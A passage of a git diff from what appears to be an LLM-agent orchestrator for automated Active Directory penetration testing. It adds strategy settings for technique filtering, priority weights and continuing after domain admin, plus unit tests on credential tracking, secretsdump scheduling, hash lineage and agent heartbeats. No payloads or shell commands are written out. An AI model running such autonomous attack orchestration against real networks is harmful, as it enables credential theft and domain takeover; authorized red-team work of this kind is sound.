Verify score = priority * 1e9 + enqueue_time * 1000 + let t = make_task(3, 1700000000.0); + let expected = 3.0 * 1_000_000_000.0 + 1700000000.0 * 1000.0; + assert!((t.score() - expected).abs() < f64::EPSILON); + } + + #[test] + fn score_ordering_across_many_priorities() { + // Verify monotonic ordering: p1 < p2 < p3 < p4 < p5 at same time + let time = 1700000000.0; + let scores: Vec = (1..=5).map(|p| make_task(p, time).score()).collect(); + for i in 0..scores.len() - 1 { + assert!( + scores[i] < scores[i + 1], + "score for p={} should be less than p={}", + i + 1, + i + 2 + ); + } + } + + #[test] + fn deferred_queue_prefix_constant() { + assert_eq!(DEFERRED_QUEUE_PREFIX, "ares:deferred"); + } + + #[test] + fn make_task_defaults() { + let t = make_task(1, 100.0); + assert_eq!(t.task_type, "recon"); + assert_eq!(t.target_role, "recon"); + assert_eq!(t.source_agent, "orchestrator"); + } + + #[test] + fn different_task_types_same_score_when_same_priority_and_time() { + let t1 = DeferredTask { + priority: 3, + enqueue_time: 1000.0, + task_type: "recon".into(), + target_role: "recon".into(), + payload: serde_json::json!({}), + source_agent: "orchestrator".into(), + }; + let t2 = DeferredTask { + priority: 3, + enqueue_time: 1000.0, + task_type: "lateral".into(), + target_role: "lateral".into(), + payload: serde_json::json!({}), + source_agent: "orchestrator".into(), + }; + // Score only depends on priority and time, not task type + assert_eq!(t1.score(), t2.score()); + } } diff --git a/ares-cli/src/orchestrator/dispatcher/mod.rs b/ares-cli/src/orchestrator/dispatcher/mod.rs index baee2430..baf00e34 100644 --- a/ares-cli/src/orchestrator/dispatcher/mod.rs +++ b/ares-cli/src/orchestrator/dispatcher/mod.rs @@ -103,6 +103,16 @@ pub struct Dispatcher { } impl Dispatcher { + /// Check if a technique is allowed by the active strategy. + pub fn is_technique_allowed(&self, technique: &str) -> bool { + self.config.strategy.is_technique_allowed(technique) + } + + /// Get the effective priority for a vulnerability type from the strategy. + pub fn effective_priority(&self, vuln_type: &str) -> i32 { + self.config.strategy.effective_priority(vuln_type) + } + #[allow(clippy::too_many_arguments)] pub fn new( queue: TaskQueue, @@ -130,3 +140,154 @@ impl Dispatcher { } } } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn credential_key_basic() { + let payload = serde_json::json!({ + "credential": { + "username": "admin", + "domain": "contoso.local" + } + }); + assert_eq!( + credential_key_from_payload(&payload), + Some("admin@contoso.local".to_string()) + ); + } + + #[test] + fn credential_key_no_domain() { + let payload = serde_json::json!({ + "credential": { + "username": "admin" + } + }); + assert_eq!( + credential_key_from_payload(&payload), + Some("admin@".to_string()) + ); + } + + #[test] + fn credential_key_no_credential_field() { + let payload = serde_json::json!({"target_ip": "192.168.58.10"}); + assert_eq!(credential_key_from_payload(&payload), None); + } + + #[test] + fn credential_key_no_username() { + let payload = serde_json::json!({ + "credential": { + "domain": "contoso.local" + } + }); + assert_eq!(credential_key_from_payload(&payload), None); + } + + #[test] + fn credential_key_empty_payload() { + let payload = serde_json::json!({}); + assert_eq!(credential_key_from_payload(&payload), None); + } + + #[test] + fn credential_key_null_credential() { + let payload = serde_json::json!({"credential": null}); + assert_eq!(credential_key_from_payload(&payload), None); + } + + #[test] + fn credential_key_username_not_string() { + let payload = serde_json::json!({ + "credential": { + "username": 123, + "domain": "contoso.local" + } + }); + assert_eq!(credential_key_from_payload(&payload), None); + } + + #[test] + fn credential_key_fabrikam_domain() { + let payload = serde_json::json!({ + "credential": { + "username": "svc_sql", + "domain": "fabrikam.local" + } + }); + assert_eq!( + credential_key_from_payload(&payload), + Some("svc_sql@fabrikam.local".to_string()) + ); + } + + #[tokio::test] + async fn inflight_acquire_and_release() { + let ci = CredentialInflight::new(2); + assert!(ci.try_acquire("admin@contoso.local").await); + assert!(ci.try_acquire("admin@contoso.local").await); + assert!(!ci.try_acquire("admin@contoso.local").await); + + ci.release("admin@contoso.local").await; + assert!(ci.try_acquire("admin@contoso.local").await); + } + + #[tokio::test] + async fn inflight_can_acquire_check() { + let ci = CredentialInflight::new(1); + assert!(ci.can_acquire("admin@contoso.local").await); + ci.try_acquire("admin@contoso.local").await; + assert!(!ci.can_acquire("admin@contoso.local").await); + } + + #[tokio::test] + async fn inflight_different_credentials_independent() { + let ci = CredentialInflight::new(1); + assert!(ci.try_acquire("admin@contoso.local").await); + assert!(ci.try_acquire("svc_sql@fabrikam.local").await); + assert!(!ci.try_acquire("admin@contoso.local").await); + assert!(!ci.try_acquire("svc_sql@fabrikam.local").await); + } + + #[tokio::test] + async fn inflight_release_unknown_key_noop() { + let ci = CredentialInflight::new(2); + ci.release("nobody@contoso.local").await; + } + + #[tokio::test] + async fn inflight_release_removes_zero_count() { + let ci = CredentialInflight::new(2); + ci.try_acquire("admin@contoso.local").await; + ci.release("admin@contoso.local").await; + assert!(ci.can_acquire("admin@contoso.local").await); + } + + #[tokio::test] + async fn inflight_double_release_saturates() { + let ci = CredentialInflight::new(2); + ci.try_acquire("admin@contoso.local").await; + ci.release("admin@contoso.local").await; + ci.release("admin@contoso.local").await; + assert!(ci.can_acquire("admin@contoso.local").await); + } + + #[tokio::test] + async fn inflight_max_one() { + let ci = CredentialInflight::new(1); + assert!(ci.try_acquire("x@contoso.local").await); + assert!(!ci.try_acquire("x@contoso.local").await); + ci.release("x@contoso.local").await; + assert!(ci.try_acquire("x@contoso.local").await); + } + + #[tokio::test] + async fn inflight_can_acquire_unknown_key() { + let ci = CredentialInflight::new(5); + assert!(ci.can_acquire("never_seen@contoso.local").await); + } +} diff --git a/ares-cli/src/orchestrator/exploitation.rs b/ares-cli/src/orchestrator/exploitation.rs index baaa9984..2e3ce418 100644 --- a/ares-cli/src/orchestrator/exploitation.rs +++ b/ares-cli/src/orchestrator/exploitation.rs @@ -54,7 +54,9 @@ pub async fn exploitation_workflow( // Stop exploiting only when ALL forests are dominated — DA in one // forest must not prevent exploitation of vulns in other forests. - { + // When strategy.continue_after_da is true (comprehensive mode), + // skip this check to keep exploiting all discovered vulns. + if !dispatcher.config.strategy.should_continue_after_da() { let state = dispatcher.state.read().await; if state.has_domain_admin && state.all_forests_dominated() { debug!("All forests dominated — exploitation workflow idle"); @@ -84,6 +86,17 @@ pub async fn exploitation_workflow( } } + // Check strategy technique filter — skip vulns blocked by + // exclude_techniques or not in include_techniques allowlist. + if !dispatcher.is_technique_allowed(&vuln.vuln_type) { + debug!( + vuln_id = %vuln.vuln_id, + vuln_type = %vuln.vuln_type, + "Skipping vuln (blocked by strategy technique filter)" + ); + continue; + } + // Check if permanently marked exploited (set by result processing on success) { let state = dispatcher.state.read().await; diff --git a/ares-cli/src/orchestrator/llm_runner.rs b/ares-cli/src/orchestrator/llm_runner.rs index 5ca7ae87..7c053acd 100644 --- a/ares-cli/src/orchestrator/llm_runner.rs +++ b/ares-cli/src/orchestrator/llm_runner.rs @@ -34,6 +34,9 @@ pub struct LlmTaskRunner { dispatcher: Arc, state: SharedState, config: AgentLoopConfig, + /// Sorted technique priorities from strategy (technique, weight). + /// Passed to the system prompt template to render a dynamic priority table. + technique_priorities: Vec<(String, i32)>, /// Deferred callback handler — set after construction to break the /// `LlmTaskRunner → Dispatcher → LlmTaskRunner` circular dependency. callback_handler: OnceLock>, @@ -45,9 +48,12 @@ impl LlmTaskRunner { model_name: String, dispatcher: Arc, state: SharedState, + temperature: Option, + technique_priorities: Vec<(String, i32)>, ) -> Self { let config = AgentLoopConfig { model: model_name.clone(), + temperature, ..AgentLoopConfig::default() }; Self { @@ -56,6 +62,7 @@ impl LlmTaskRunner { dispatcher, state, config, + technique_priorities, callback_handler: OnceLock::new(), } } @@ -92,7 +99,7 @@ impl LlmTaskRunner { let snapshot = self.state.snapshot().await; // 2. Build system prompt from agent template - let system_prompt = build_system_prompt(role, &snapshot)?; + let system_prompt = build_system_prompt(role, &snapshot, &self.technique_priorities)?; // 3. Build task prompt from Tera template + payload let task_prompt = build_task_prompt(task_type, task_id, payload, &snapshot)?; @@ -163,7 +170,11 @@ impl LlmTaskRunner { // --------------------------------------------------------------------------- /// Build the system prompt for a given agent role. -fn build_system_prompt(role: AgentRole, snapshot: &StateSnapshot) -> Result { +fn build_system_prompt( + role: AgentRole, + snapshot: &StateSnapshot, + technique_priorities: &[(String, i32)], +) -> Result { // Get capabilities from the tool definitions for this role let tools = tool_registry::tools_for_role(role); let capabilities: Vec = tools @@ -183,8 +194,13 @@ fn build_system_prompt(role: AgentRole, snapshot: &StateSnapshot) -> Result templates::TEMPLATE_ORCHESTRATOR, }; - // Render system instructions (no per-role capability map for now) - let system_instructions = templates::render_system_instructions(None)?; + // Render system instructions with strategy-driven priority table + let priorities = if technique_priorities.is_empty() { + None + } else { + Some(technique_priorities) + }; + let system_instructions = templates::render_system_instructions(None, priorities)?; // Render agent-specific instructions let agent_instructions = templates::render_agent_instructions( @@ -372,7 +388,7 @@ mod tests { AgentRole::Coercion, AgentRole::Orchestrator, ] { - let result = build_system_prompt(*role, &snapshot); + let result = build_system_prompt(*role, &snapshot, &[]); assert!(result.is_ok(), "Failed for role: {:?}", role); let prompt = result.unwrap(); assert!(!prompt.is_empty(), "Empty prompt for role: {:?}", role); diff --git a/ares-cli/src/orchestrator/mod.rs b/ares-cli/src/orchestrator/mod.rs index 176803ea..c33af620 100644 --- a/ares-cli/src/orchestrator/mod.rs +++ b/ares-cli/src/orchestrator/mod.rs @@ -30,6 +30,7 @@ mod result_processing; mod results; mod routing; mod state; +pub(crate) mod strategy; mod task_queue; mod throttling; mod tool_dispatcher; @@ -73,10 +74,9 @@ async fn run_inner() -> Result<()> { return run_blue_only().await; } - let config = - Arc::new(OrchestratorConfig::from_env().context("Failed to load config from environment")?); - - // Load the YAML config (optional — provides agent definitions, vuln priorities, etc.) + // Load the YAML config first (optional — provides agent definitions, vuln priorities, + // strategy settings, etc.). Must be loaded before OrchestratorConfig so strategy + // resolution can merge YAML values. let ares_config = match ares_core::config::AresConfig::from_env() { Ok(cfg) => { info!( @@ -92,10 +92,17 @@ async fn run_inner() -> Result<()> { } }; + let config = Arc::new( + OrchestratorConfig::from_env_with_yaml(ares_config.as_deref()) + .context("Failed to load config from environment")?, + ); + info!( operation_id = %config.operation_id, max_concurrent = config.max_concurrent_tasks, has_yaml_config = ares_config.is_some(), + listener_ip = config.listener_ip.as_deref().unwrap_or("none"), + strategy = ?config.strategy.preset, "Configuration loaded" ); @@ -320,11 +327,22 @@ async fn run_inner() -> Result<()> { )) }; + // Build sorted technique priorities for the LLM system prompt. + let mut technique_priorities: Vec<(String, i32)> = config + .strategy + .weights + .iter() + .map(|(k, v)| (k.clone(), *v)) + .collect(); + technique_priorities.sort_by(|a, b| a.1.cmp(&b.1).then_with(|| a.0.cmp(&b.0))); + let llm_runner = Arc::new(llm_runner::LlmTaskRunner::new( provider, model_name.clone(), tool_disp, shared_state.clone(), + config.strategy.llm_temperature, + technique_priorities, )); info!( model = %model_name, diff --git a/ares-cli/src/orchestrator/monitoring.rs b/ares-cli/src/orchestrator/monitoring.rs index bfad6e18..e54c38ec 100644 --- a/ares-cli/src/orchestrator/monitoring.rs +++ b/ares-cli/src/orchestrator/monitoring.rs @@ -468,4 +468,172 @@ mod tests { let agents = r.agents.lock().await; assert_eq!(agents.get("a1").unwrap().role, "lateral"); } + + // --- Additional coverage tests --- + + #[tokio::test] + async fn agent_names_empty_initially() { + let r = AgentRegistry::new(); + assert!(r.agent_names().await.is_empty()); + } + + #[tokio::test] + async fn update_heartbeat_unknown_agent_ignored() { + let r = AgentRegistry::new(); + // Updating a non-existent agent should not panic or insert + r.update_heartbeat("nonexistent", "busy", Some("task-1"), Utc::now()) + .await; + assert!(r.agent_names().await.is_empty()); + } + + #[tokio::test] + async fn mark_offline_unknown_agent_ignored() { + let r = AgentRegistry::new(); + // Marking a non-existent agent offline should not panic + r.mark_offline("nonexistent").await; + assert!(r.agent_names().await.is_empty()); + } + + #[tokio::test] + async fn stale_agents_empty_registry() { + let r = AgentRegistry::new(); + assert!(r + .stale_agents(std::time::Duration::from_secs(60)) + .await + .is_empty()); + } + + #[tokio::test] + async fn multiple_agents_stale_detection() { + let r = AgentRegistry::new(); + r.register("agent-1", "recon").await; + r.register("agent-2", "lateral").await; + r.register("agent-3", "privesc").await; + + let old_ts = Utc::now() - chrono::Duration::seconds(300); + r.update_heartbeat("agent-1", "idle", None, old_ts).await; + r.update_heartbeat("agent-2", "busy", Some("task-x"), old_ts) + .await; + // agent-3 keeps fresh heartbeat + r.update_heartbeat("agent-3", "idle", None, Utc::now()) + .await; + + let stale = r.stale_agents(std::time::Duration::from_secs(60)).await; + assert_eq!(stale.len(), 2); + let stale_names: Vec<&str> = stale.iter().map(|a| a.name.as_str()).collect(); + assert!(stale_names.contains(&"agent-1")); + assert!(stale_names.contains(&"agent-2")); + } + + #[tokio::test] + async fn agent_state_fields_preserved() { + let r = AgentRegistry::new(); + r.register("a1", "recon").await; + let now = Utc::now(); + r.update_heartbeat("a1", "busy", Some("task-42"), now).await; + + let agents = r.agents.lock().await; + let a = agents.get("a1").unwrap(); + assert_eq!(a.name, "a1"); + assert_eq!(a.role, "recon"); + assert_eq!(a.status, "busy"); + assert_eq!(a.current_task, Some("task-42".to_string())); + assert_eq!(a.last_heartbeat, now); + } + + #[tokio::test] + async fn re_register_preserves_heartbeat() { + let r = AgentRegistry::new(); + r.register("a1", "recon").await; + let ts = Utc::now(); + r.update_heartbeat("a1", "busy", Some("t1"), ts).await; + + // Re-register with new role — heartbeat should still be preserved + r.register("a1", "lateral").await; + let agents = r.agents.lock().await; + let a = agents.get("a1").unwrap(); + assert_eq!(a.role, "lateral"); + assert_eq!(a.status, "busy"); // status preserved from update + } + + #[test] + fn critical_tools_not_empty() { + assert!(!CRITICAL_TOOLS.is_empty()); + } + + #[test] + fn critical_tools_have_valid_roles() { + let known_roles = ["recon", "credential_access", "privesc", "lateral"]; + for &(role, tools) in CRITICAL_TOOLS { + assert!( + known_roles.contains(&role), + "Unknown role in CRITICAL_TOOLS: {role}" + ); + assert!(!tools.is_empty(), "No tools listed for role: {role}"); + } + } + + #[test] + fn critical_tools_no_duplicates() { + for &(role, tools) in CRITICAL_TOOLS { + let mut seen = std::collections::HashSet::new(); + for &tool in tools { + assert!( + seen.insert(tool), + "Duplicate tool '{tool}' in role '{role}'" + ); + } + } + } + + #[test] + fn critical_tools_secretsdump_in_cred_and_lateral() { + // secretsdump is critical for both credential_access and lateral + let has_cred = CRITICAL_TOOLS + .iter() + .find(|&&(r, _)| r == "credential_access") + .map(|&(_, tools)| tools.contains(&"impacket-secretsdump")) + .unwrap_or(false); + let has_lateral = CRITICAL_TOOLS + .iter() + .find(|&&(r, _)| r == "lateral") + .map(|&(_, tools)| tools.contains(&"impacket-secretsdump")) + .unwrap_or(false); + assert!(has_cred); + assert!(has_lateral); + } + + #[tokio::test] + async fn mark_offline_then_re_heartbeat() { + let r = AgentRegistry::new(); + r.register("a1", "recon").await; + let old_ts = Utc::now() - chrono::Duration::seconds(300); + r.update_heartbeat("a1", "idle", None, old_ts).await; + r.mark_offline("a1").await; + + // Offline agent should not appear as stale + assert!(r + .stale_agents(std::time::Duration::from_secs(60)) + .await + .is_empty()); + + // But if it heartbeats again with a fresh timestamp and new status, + // it should be alive again + r.update_heartbeat("a1", "idle", None, Utc::now()).await; + let agents = r.agents.lock().await; + assert_eq!(agents.get("a1").unwrap().status, "idle"); + } + + #[tokio::test] + async fn zero_timeout_makes_all_stale() { + let r = AgentRegistry::new(); + r.register("a1", "recon").await; + r.update_heartbeat("a1", "idle", None, Utc::now()).await; + + // With a zero timeout, the cutoff is "now", so any agent whose + // heartbeat is at or before now should be stale. Due to timing, + // this may or may not catch the just-registered agent, so we + // just verify no panic occurs. + let _stale = r.stale_agents(std::time::Duration::from_secs(0)).await; + } } diff --git a/ares-cli/src/orchestrator/result_processing/admin_checks.rs b/ares-cli/src/orchestrator/result_processing/admin_checks.rs index 9cf3b66b..a62d6dd5 100644 --- a/ares-cli/src/orchestrator/result_processing/admin_checks.rs +++ b/ares-cli/src/orchestrator/result_processing/admin_checks.rs @@ -217,6 +217,9 @@ pub(crate) async fn detect_and_upgrade_admin_credentials(text: &str, dispatcher: .collect() }; for (target_ip, cred) in work { + if !dispatcher.is_technique_allowed("secretsdump") { + break; + } match dispatcher.request_secretsdump(&target_ip, &cred, 1).await { Ok(Some(task_id)) => { info!( diff --git a/ares-cli/src/orchestrator/result_processing/tests.rs b/ares-cli/src/orchestrator/result_processing/tests.rs index 69658a47..ae556adc 100644 --- a/ares-cli/src/orchestrator/result_processing/tests.rs +++ b/ares-cli/src/orchestrator/result_processing/tests.rs @@ -1,4 +1,5 @@ -use super::parsing::{has_domain_admin_indicator, parse_discoveries}; +use super::parsing::{has_domain_admin_indicator, parse_discoveries, resolve_parent_id}; +use ares_core::models::{Credential, Hash}; use serde_json::json; #[test] @@ -209,3 +210,463 @@ fn test_da_indicator_non_krbtgt_hash() { fn test_da_indicator_empty_payload() { assert!(!has_domain_admin_indicator(&json!({}))); } + +// ==================== has_domain_admin_indicator edge cases ==================== + +#[test] +fn test_da_indicator_multiple_hashes_one_krbtgt() { + assert!(has_domain_admin_indicator(&json!({"hashes": [ + {"username": "Administrator", "hash_value": "abc"}, + {"username": "krbtgt", "hash_value": "def"}, + {"username": "jdoe", "hash_value": "ghi"} + ]}))); +} + +#[test] +fn test_da_indicator_empty_hashes_array() { + assert!(!has_domain_admin_indicator(&json!({"hashes": []}))); +} + +#[test] +fn test_da_indicator_non_bool_value() { + // has_domain_admin is a string "true" instead of bool true -- should NOT trigger + assert!(!has_domain_admin_indicator( + &json!({"has_domain_admin": "true"}) + )); +} + +#[test] +fn test_da_indicator_null_value() { + assert!(!has_domain_admin_indicator( + &json!({"has_domain_admin": null}) + )); +} + +#[test] +fn test_da_indicator_hashes_missing_username() { + // Hash entry without a username field should not cause a panic + assert!(!has_domain_admin_indicator( + &json!({"hashes": [{"hash_value": "abc"}]}) + )); +} + +#[test] +fn test_da_indicator_hashes_not_array() { + // hashes is not an array -- should be safely ignored + assert!(!has_domain_admin_indicator( + &json!({"hashes": "not_an_array"}) + )); +} + +// ==================== resolve_parent_id tests ==================== + +fn make_test_credential(id: &str, username: &str, domain: &str, attack_step: i32) -> Credential { + Credential { + id: id.to_string(), + username: username.to_string(), + password: "P@ss1".to_string(), + domain: domain.to_string(), + source: String::new(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step, + } +} + +fn make_test_hash(id: &str, username: &str, domain: &str, attack_step: i32) -> Hash { + Hash { + id: id.to_string(), + username: username.to_string(), + hash_value: "aabbccdd".to_string(), + hash_type: "NTLM".to_string(), + domain: domain.to_string(), + source: String::new(), + cracked_password: None, + discovered_at: None, + parent_id: None, + attack_step, + aes_key: None, + } +} + +#[test] +fn test_resolve_parent_cracked_source_finds_hash() { + let creds: Vec = vec![]; + let hashes = vec![make_test_hash("h1", "jdoe", "contoso.local", 1)]; + + let (parent_id, step) = resolve_parent_id( + &creds, + &hashes, + "cracked", + "jdoe", + "contoso.local", + None, + None, + ); + + assert_eq!(parent_id, Some("h1".to_string())); + assert_eq!(step, 2); // hash.attack_step + 1 +} + +#[test] +fn test_resolve_parent_cracked_source_case_insensitive() { + let creds: Vec = vec![]; + let hashes = vec![make_test_hash("h1", "JDoe", "CONTOSO.LOCAL", 0)]; + + let (parent_id, step) = resolve_parent_id( + &creds, + &hashes, + "cracked:hashcat", + "jdoe", + "contoso.local", + None, + None, + ); + + assert_eq!(parent_id, Some("h1".to_string())); + assert_eq!(step, 1); +} + +#[test] +fn test_resolve_parent_cracked_source_empty_domain_matches() { + let creds: Vec = vec![]; + let hashes = vec![make_test_hash("h1", "jdoe", "contoso.local", 2)]; + + // When discovered domain is empty, it should still match + let (parent_id, step) = resolve_parent_id(&creds, &hashes, "cracked", "jdoe", "", None, None); + + assert_eq!(parent_id, Some("h1".to_string())); + assert_eq!(step, 3); +} + +#[test] +fn test_resolve_parent_cracked_source_no_matching_hash() { + let creds: Vec = vec![]; + let hashes = vec![make_test_hash("h1", "other_user", "contoso.local", 0)]; + + let (parent_id, step) = resolve_parent_id( + &creds, + &hashes, + "cracked", + "jdoe", + "contoso.local", + None, + None, + ); + + assert_eq!(parent_id, None); + assert_eq!(step, 0); +} + +#[test] +fn test_resolve_parent_cracked_picks_last_matching_hash() { + let creds: Vec = vec![]; + let hashes = vec![ + make_test_hash("h1", "jdoe", "contoso.local", 0), + make_test_hash("h2", "jdoe", "contoso.local", 1), + ]; + + let (parent_id, _step) = resolve_parent_id( + &creds, + &hashes, + "cracked", + "jdoe", + "contoso.local", + None, + None, + ); + + // .rev().find() means it should find h2 (last one) + assert_eq!(parent_id, Some("h2".to_string())); +} + +#[test] +fn test_resolve_parent_input_username_differs_finds_credential() { + let creds = vec![make_test_credential("c1", "svc_sql", "contoso.local", 0)]; + let hashes: Vec = vec![]; + + // Discovered admin via svc_sql's credential (lateral move) + let (parent_id, step) = resolve_parent_id( + &creds, + &hashes, + "secretsdump", + "administrator", + "contoso.local", + Some("svc_sql"), + Some("contoso.local"), + ); + + assert_eq!(parent_id, Some("c1".to_string())); + assert_eq!(step, 1); +} + +#[test] +fn test_resolve_parent_input_username_differs_finds_hash_when_no_cred() { + let creds: Vec = vec![]; + let hashes = vec![make_test_hash("h1", "svc_sql", "contoso.local", 1)]; + + // No credential for svc_sql, but there's a hash + let (parent_id, step) = resolve_parent_id( + &creds, + &hashes, + "secretsdump", + "administrator", + "contoso.local", + Some("svc_sql"), + Some("contoso.local"), + ); + + assert_eq!(parent_id, Some("h1".to_string())); + assert_eq!(step, 2); +} + +#[test] +fn test_resolve_parent_input_username_same_as_discovered_returns_none() { + let creds = vec![make_test_credential("c1", "jdoe", "contoso.local", 0)]; + let hashes: Vec = vec![]; + + // input_username == discovered username (same user, same domain) => is_same == true => skip + let (parent_id, step) = resolve_parent_id( + &creds, + &hashes, + "kerberoast", + "jdoe", + "contoso.local", + Some("jdoe"), + Some("contoso.local"), + ); + + assert_eq!(parent_id, None); + assert_eq!(step, 0); +} + +#[test] +fn test_resolve_parent_no_parent_returns_none_zero() { + let creds: Vec = vec![]; + let hashes: Vec = vec![]; + + let (parent_id, step) = resolve_parent_id( + &creds, + &hashes, + "kerberoast", + "jdoe", + "contoso.local", + None, + None, + ); + + assert_eq!(parent_id, None); + assert_eq!(step, 0); +} + +#[test] +fn test_resolve_parent_empty_input_username_skipped() { + let creds = vec![make_test_credential("c1", "", "contoso.local", 0)]; + let hashes: Vec = vec![]; + + // Empty input_username should be filtered out by the .filter(|u| !u.is_empty()) + let (parent_id, step) = resolve_parent_id( + &creds, + &hashes, + "secretsdump", + "admin", + "contoso.local", + Some(""), + Some("contoso.local"), + ); + + assert_eq!(parent_id, None); + assert_eq!(step, 0); +} + +#[test] +fn test_resolve_parent_input_username_case_insensitive() { + let creds = vec![make_test_credential("c1", "SVC_SQL", "contoso.local", 0)]; + let hashes: Vec = vec![]; + + let (parent_id, step) = resolve_parent_id( + &creds, + &hashes, + "secretsdump", + "administrator", + "contoso.local", + Some("svc_sql"), + Some("CONTOSO.LOCAL"), + ); + + assert_eq!(parent_id, Some("c1".to_string())); + assert_eq!(step, 1); +} + +#[test] +fn test_resolve_parent_input_domain_empty_still_matches() { + let creds = vec![make_test_credential("c1", "svc_sql", "contoso.local", 0)]; + let hashes: Vec = vec![]; + + // input_domain is empty, so domain matching is relaxed + let (parent_id, step) = resolve_parent_id( + &creds, + &hashes, + "secretsdump", + "administrator", + "contoso.local", + Some("svc_sql"), + Some(""), + ); + + assert_eq!(parent_id, Some("c1".to_string())); + assert_eq!(step, 1); +} + +#[test] +fn test_resolve_parent_non_cracked_source_with_input_username() { + let creds = vec![make_test_credential("c1", "svc_web", "fabrikam.local", 2)]; + let hashes: Vec = vec![]; + + let (parent_id, step) = resolve_parent_id( + &creds, + &hashes, + "lsassy", + "admin", + "fabrikam.local", + Some("svc_web"), + Some("fabrikam.local"), + ); + + assert_eq!(parent_id, Some("c1".to_string())); + assert_eq!(step, 3); +} + +#[test] +fn test_resolve_parent_prefers_credential_over_hash() { + // When both a credential and hash match, credential should be found first + let creds = vec![make_test_credential("c1", "svc_sql", "contoso.local", 1)]; + let hashes = vec![make_test_hash("h1", "svc_sql", "contoso.local", 0)]; + + let (parent_id, step) = resolve_parent_id( + &creds, + &hashes, + "secretsdump", + "administrator", + "contoso.local", + Some("svc_sql"), + Some("contoso.local"), + ); + + // Should find the credential first, not the hash + assert_eq!(parent_id, Some("c1".to_string())); + assert_eq!(step, 2); +} + +// ==================== parse_discoveries additional edge cases ==================== + +#[test] +fn test_parse_single_vulnerability() { + // Test the singular "vulnerability" key (fallback when "vulnerabilities" is empty) + let payload = json!({ + "vulnerability": { + "vuln_id": "vuln-002", + "vuln_type": "unconstrained_delegation", + "target": "192.168.58.30", + "discovered_by": "recon", + "details": {}, + "recommended_agent": "privesc", + "priority": 5 + } + }); + let parsed = parse_discoveries(&payload); + assert_eq!(parsed.vulnerabilities.len(), 1); + assert_eq!( + parsed.vulnerabilities[0].vuln_type, + "unconstrained_delegation" + ); +} + +#[test] +fn test_parse_singular_vulnerability_not_used_when_array_present() { + // When "vulnerabilities" array is present, "vulnerability" singular should be ignored + let payload = json!({ + "vulnerabilities": [{ + "vuln_id": "vuln-001", + "vuln_type": "esc1", + "target": "192.168.58.10", + "discovered_by": "recon", + "details": {}, + "recommended_agent": "exploit", + "priority": 4 + }], + "vulnerability": { + "vuln_id": "vuln-002", + "vuln_type": "esc4", + "target": "192.168.58.20", + "discovered_by": "recon", + "details": {}, + "recommended_agent": "exploit", + "priority": 3 + } + }); + let parsed = parse_discoveries(&payload); + assert_eq!(parsed.vulnerabilities.len(), 1); + assert_eq!(parsed.vulnerabilities[0].vuln_type, "esc1"); +} + +#[test] +fn test_parse_users_with_netexec_source() { + let payload = json!({ + "discovered_users": [ + {"username": "jdoe", "domain": "contoso.local", "source": "netexec_user_enum", "is_admin": false} + ] + }); + let parsed = parse_discoveries(&payload); + assert_eq!(parsed.users.len(), 1); +} + +#[test] +fn test_parse_cracked_password_with_domain() { + let payload = json!({ + "cracked_password": "Winter2025!", + "username": "svc_sql", + "domain": "fabrikam.local" + }); + let parsed = parse_discoveries(&payload); + assert_eq!(parsed.credentials.len(), 1); + assert_eq!(parsed.credentials[0].domain, "fabrikam.local"); + assert_eq!(parsed.credentials[0].source, "cracked"); +} + +#[test] +fn test_parse_cracked_password_without_domain_defaults_empty() { + let payload = json!({ + "cracked_password": "Winter2025!", + "username": "svc_sql" + }); + let parsed = parse_discoveries(&payload); + assert_eq!(parsed.credentials.len(), 1); + assert_eq!(parsed.credentials[0].domain, ""); +} + +#[test] +fn test_parse_hashes_malformed_skipped() { + let payload = json!({ + "hashes": [ + {"id": "h1", "username": "admin", "hash_value": "aabb", "hash_type": "NTLM", + "domain": "contoso.local", "source": "secretsdump", "is_cracked": false, "attack_step": 0}, + {"not_a_hash_field": 123} + ] + }); + let parsed = parse_discoveries(&payload); + assert_eq!(parsed.hashes.len(), 1); +} + +#[test] +fn test_parse_shares_with_comment() { + let payload = json!({ + "shares": [ + {"host": "192.168.58.10", "name": "NETLOGON", "permissions": "READ", "comment": "Logon server share"} + ] + }); + let parsed = parse_discoveries(&payload); + assert_eq!(parsed.shares.len(), 1); + assert_eq!(parsed.shares[0].comment, "Logon server share"); +} diff --git a/ares-cli/src/orchestrator/state/inner.rs b/ares-cli/src/orchestrator/state/inner.rs index 86ab44a0..4c2e7887 100644 --- a/ares-cli/src/orchestrator/state/inner.rs +++ b/ares-cli/src/orchestrator/state/inner.rs @@ -328,6 +328,9 @@ mod tests { DEDUP_LOW_HANGING, DEDUP_CRED_SECRETSDUMP, DEDUP_SHARE_ENUM, + DEDUP_ADCS_EXPLOIT, + DEDUP_GPO_ABUSE, + DEDUP_LAPS, ]; assert_eq!(expected.len(), ALL_DEDUP_SETS.len()); for name in expected { diff --git a/ares-cli/src/orchestrator/state/mod.rs b/ares-cli/src/orchestrator/state/mod.rs index 1fedb6bc..e89af91b 100644 --- a/ares-cli/src/orchestrator/state/mod.rs +++ b/ares-cli/src/orchestrator/state/mod.rs @@ -42,6 +42,9 @@ pub const DEDUP_GMSA_ACCOUNTS: &str = "gmsa_accounts"; pub const DEDUP_LOW_HANGING: &str = "low_hanging"; pub const DEDUP_CRED_SECRETSDUMP: &str = "cred_secretsdump"; pub const DEDUP_SHARE_ENUM: &str = "share_enum"; +pub const DEDUP_ADCS_EXPLOIT: &str = "adcs_exploit"; +pub const DEDUP_GPO_ABUSE: &str = "gpo_abuse"; +pub const DEDUP_LAPS: &str = "laps_extract"; /// Vuln queue ZSET key suffix. pub const KEY_VULN_QUEUE: &str = "vuln_queue"; @@ -72,4 +75,7 @@ const ALL_DEDUP_SETS: &[&str] = &[ DEDUP_GMSA_ACCOUNTS, DEDUP_LOW_HANGING, DEDUP_CRED_SECRETSDUMP, + DEDUP_ADCS_EXPLOIT, + DEDUP_GPO_ABUSE, + DEDUP_LAPS, ]; diff --git a/ares-cli/src/orchestrator/state/publishing/entities.rs b/ares-cli/src/orchestrator/state/publishing/entities.rs index daded946..42f7b767 100644 --- a/ares-cli/src/orchestrator/state/publishing/entities.rs +++ b/ares-cli/src/orchestrator/state/publishing/entities.rs @@ -76,11 +76,39 @@ impl SharedState { } /// Add a vulnerability to state and Redis. + /// + /// If a `strategy` is provided, its technique weights override the vuln's + /// hardcoded priority before insertion into the exploitation ZSET. pub async fn publish_vulnerability( &self, queue: &TaskQueue, vuln: VulnerabilityInfo, ) -> Result { + self.publish_vulnerability_with_strategy(queue, vuln, None) + .await + } + + /// Publish a vulnerability with optional strategy-based priority override. + pub async fn publish_vulnerability_with_strategy( + &self, + queue: 